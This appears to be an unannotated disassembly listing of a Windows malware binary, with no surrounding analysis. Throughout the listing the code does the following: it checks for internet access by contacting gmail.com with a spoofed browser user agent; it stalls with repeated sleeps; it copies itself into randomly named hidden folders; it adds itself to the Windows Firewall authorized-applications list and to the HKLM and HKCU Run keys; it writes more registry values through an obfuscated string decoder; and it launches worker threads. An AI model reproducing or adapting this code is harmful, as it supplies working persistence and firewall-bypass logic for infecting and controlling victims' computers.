push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1120], eax
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_88.0.4324.146_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x110c], eax
cmp dword [ebp - 0x110c], 0
je 0x40499b
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
push str.http:__www.gmail.com_
mov eax, dword [ebp - 0x110c]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1100], eax
cmp dword [ebp - 0x1100], 0
je 0x404983
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x1100]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x110c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1120], 0
je 0x404ae1
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
mov eax, dword [ebp - 0x1120]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0x1120]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_88.0.4324.146_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x110c], eax
cmp dword [ebp - 0x110c], 0
je 0x404ad4
push 0
push 0
push 0
push 0
push str.http:__www.gmail.com_
mov edx, dword [ebp - 0x110c]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1100], eax
cmp dword [ebp - 0x1100], 0
je 0x404aa6
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x1100]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x110c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x1108], 0x12fd1
mov dword [ebp - 0x10f8], 0x3e7
mov edx, dword [ebp - 0x1108]
cmp edx, dword [ebp - 0x10f8]
jbe 0x404b81
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1124], eax
cmp dword [ebp - 0x1124], 0
je 0x404b7c
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10f8]
add eax, 1
mov dword [ebp - 0x10f8], eax
jmp 0x404af5
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x404bcc
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.3ru38ur8u3yu38uy38uy3ur
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10fc], eax
cmp dword [ebp - 0x10fc], 0
je 0x404c7c
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x10f4]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 1
mov edx, dword [ebp - 0x10f4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10f4]
push eax
call dword [sym.imp.USER32.dll_CloseWindow]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1128], 0
jmp 0x404c97
mov ecx, dword [ebp - 0x1128]
add ecx, 1
mov dword [ebp - 0x1128], ecx
cmp dword [ebp - 0x1128], 0x190
jge 0x404ce1
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x404c88
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404e11
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x1130], 0
jmp 0x404d1a
mov edx, dword [ebp - 0x1130]
add edx, 1
mov dword [ebp - 0x1130], edx
cmp dword [ebp - 0x1130], 0x1770
jge 0x404d43
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x404d0b
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x112c], eax
cmp dword [ebp - 0x112c], 0
je 0x404dcd
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x10f4]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ecx, dword [ebp - 0x10f4]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x10f4]
push edx
call dword [sym.imp.USER32.dll_CloseWindow]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1134], 0
jmp 0x404de8
mov eax, dword [ebp - 0x1134]
add eax, 1
mov dword [ebp - 0x1134], eax
cmp dword [ebp - 0x1134], 0x9c4
jge 0x404e11
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x404dd9
mov ecx, dword [ebp - 0x50c]
add ecx, 1
mov dword [ebp - 0x50c], ecx
jmp 0x404576
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x208
push 0
lea edx, [ebp - 0x418]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp - 0x10f0]
mov edx, dword [ebp + ecx*4 - 0x103c]
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
lea edx, [ebp - 0x418]
push edx
push str._ls_d_d_d
lea eax, [ebp - 0xc30]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea ecx, [ebp - 0xa24]
push ecx
lea edx, [ebp - 0xc30]
push edx
push str._ls_ls
lea eax, [ebp - 0xf60]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0xc30]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x4050b2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea edx, [ebp - 0xf60]
push edx
lea eax, [ebp - 0x750]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x4050b2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x500]
push ecx
lea edx, [ebp - 0xf60]
push edx
push str._ls::Enabled:_ls
lea eax, [ebp - 0x9c0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 7
lea ecx, [ebp - 0xc30]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 7
lea edx, [ebp - 0xf60]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x754]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404fcf
lea ecx, [ebp - 0x9c0]
push ecx
call sub.MSVCRT.dll_wcslen
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x9c0]
push eax
push 1
push 0
lea ecx, [ebp - 0xf60]
push ecx
mov edx, dword [ebp - 0x754]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x754]
push ecx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405031
lea edx, [ebp - 0xf60]
push edx
call sub.MSVCRT.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0xf60]
push ecx
push 1
push 0
lea edx, [ebp - 0x500]
push edx
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x754]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x754]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405093
lea eax, [ebp - 0xf60]
push eax
call sub.MSVCRT.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0xf60]
push edx
push 1
push 0
lea eax, [ebp - 0x500]
push eax
mov ecx, dword [ebp - 0x754]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x754]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xf60]
push eax
call fcn.00402760
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x4050b2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x40453b
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x754]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x798]
push eax
call fcn.00402810
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405256
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x548]
push edx
call fcn.00402810
add esp, 4
push eax
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [ebp - 0x754]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0xfd8]
push edx
call fcn.00402810
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40517b
push 0
lea eax, [ebp - 0x754]
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea ecx, [ebp - 0xfd8]
push ecx
call fcn.00402810
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea edx, [ebp - 0x754]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0xfd8]
push eax
call fcn.00402810
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405249
lea ecx, [ebp - 0x9dc]
push ecx
call fcn.00402810
add esp, 4
lea edx, [ebp - 0x4b8]
push edx
call fcn.00402810
add esp, 4
lea eax, [ebp - 0xd54]
push eax
call fcn.00402810
add esp, 4
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x9dc]
push edx
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x4b8]
push edx
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0xd54]
push edx
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x754]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x754]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x754]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x488]
push ecx
call fcn.00402810
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4053ef
lea edx, [ebp - 0x1030]
push edx
call fcn.00402810
add esp, 4
lea eax, [ebp - 0x768]
push eax
call fcn.00402810
add esp, 4
lea ecx, [ebp - 0x1018]
push ecx
call fcn.00402810
add esp, 4
lea edx, [ebp - 0x49c]
push edx
call fcn.00402810
add esp, 4
lea eax, [ebp - 0xf78]
push eax
call fcn.00402810
add esp, 4
lea ecx, [ebp - 0xf8c]
push ecx
call fcn.00402810
add esp, 4
lea edx, [ebp - 0xa0c]
push edx
call fcn.00402810
add esp, 4
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x1030]
push ecx
mov edx, dword [ebp - 0x754]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x768]
push ecx
mov edx, dword [ebp - 0x754]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x1018]
push ecx
mov edx, dword [ebp - 0x754]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x49c]
push ecx
mov edx, dword [ebp - 0x754]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0xf78]
push ecx
mov edx, dword [ebp - 0x754]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0xf8c]
push ecx
mov edx, dword [ebp - 0x754]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0xa0c]
push ecx
mov edx, dword [ebp - 0x754]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x754]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x1000]
push edx
call fcn.00402810
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405588
lea eax, [ebp - 0x1030]
push eax
call fcn.00402810
add esp, 4
lea ecx, [ebp - 0x768]
push ecx
call fcn.00402810
add esp, 4
lea edx, [ebp - 0x1018]
push edx
call fcn.00402810
add esp, 4
lea eax, [ebp - 0x49c]
push eax
call fcn.00402810
add esp, 4
lea ecx, [ebp - 0xf78]
push ecx
call fcn.00402810
add esp, 4
lea edx, [ebp - 0xf8c]
push edx
call fcn.00402810
add esp, 4
lea eax, [ebp - 0xa0c]
push eax
call fcn.00402810
add esp, 4
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x1030]
push edx
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x768]
push edx
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x1018]
push edx
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x49c]
push edx
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0xf78]
push edx
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0xf8c]
push edx
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0xa0c]
push edx
mov eax, dword [ebp - 0x754]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x754]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401670
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x402630
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1138], 0
jmp 0x4055f6
mov edx, dword [ebp - 0x1138]
add edx, 1
mov dword [ebp - 0x1138], edx
cmp dword [ebp - 0x1138], 8
jae 0x4056a6
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x113c], 0
jmp 0x405626
mov eax, dword [ebp - 0x113c]
add eax, 1
mov dword [ebp - 0x113c], eax
cmp dword [ebp - 0x113c], 6
jae 0x4056a1
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x113c]
mov edx, dword [ebp + ecx*4 - 0x9f4]
push edx
mov eax, dword [ebp - 0x1138]
mov ecx, dword [ebp + eax*4 - 0x7b8]
push ecx
push str._s_s
lea edx, [ebp - 0xd38]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, dword [ebp - 0x113c]
lea ecx, [ebp + eax*4 - 0x534]
push ecx
lea edx, [ebp - 0xd38]
push edx
call fcn.00402a40
add esp, 8
movzx eax, al
cmp eax, 1
jne 0x40569c
lea ecx, [ebp - 0xd38]
push ecx
call fcn.00401a00
add esp, 4
jmp 0x405617
jmp 0x4055e7
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
imul edx, edx, 0x14
add edx, 0x2710
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4055d3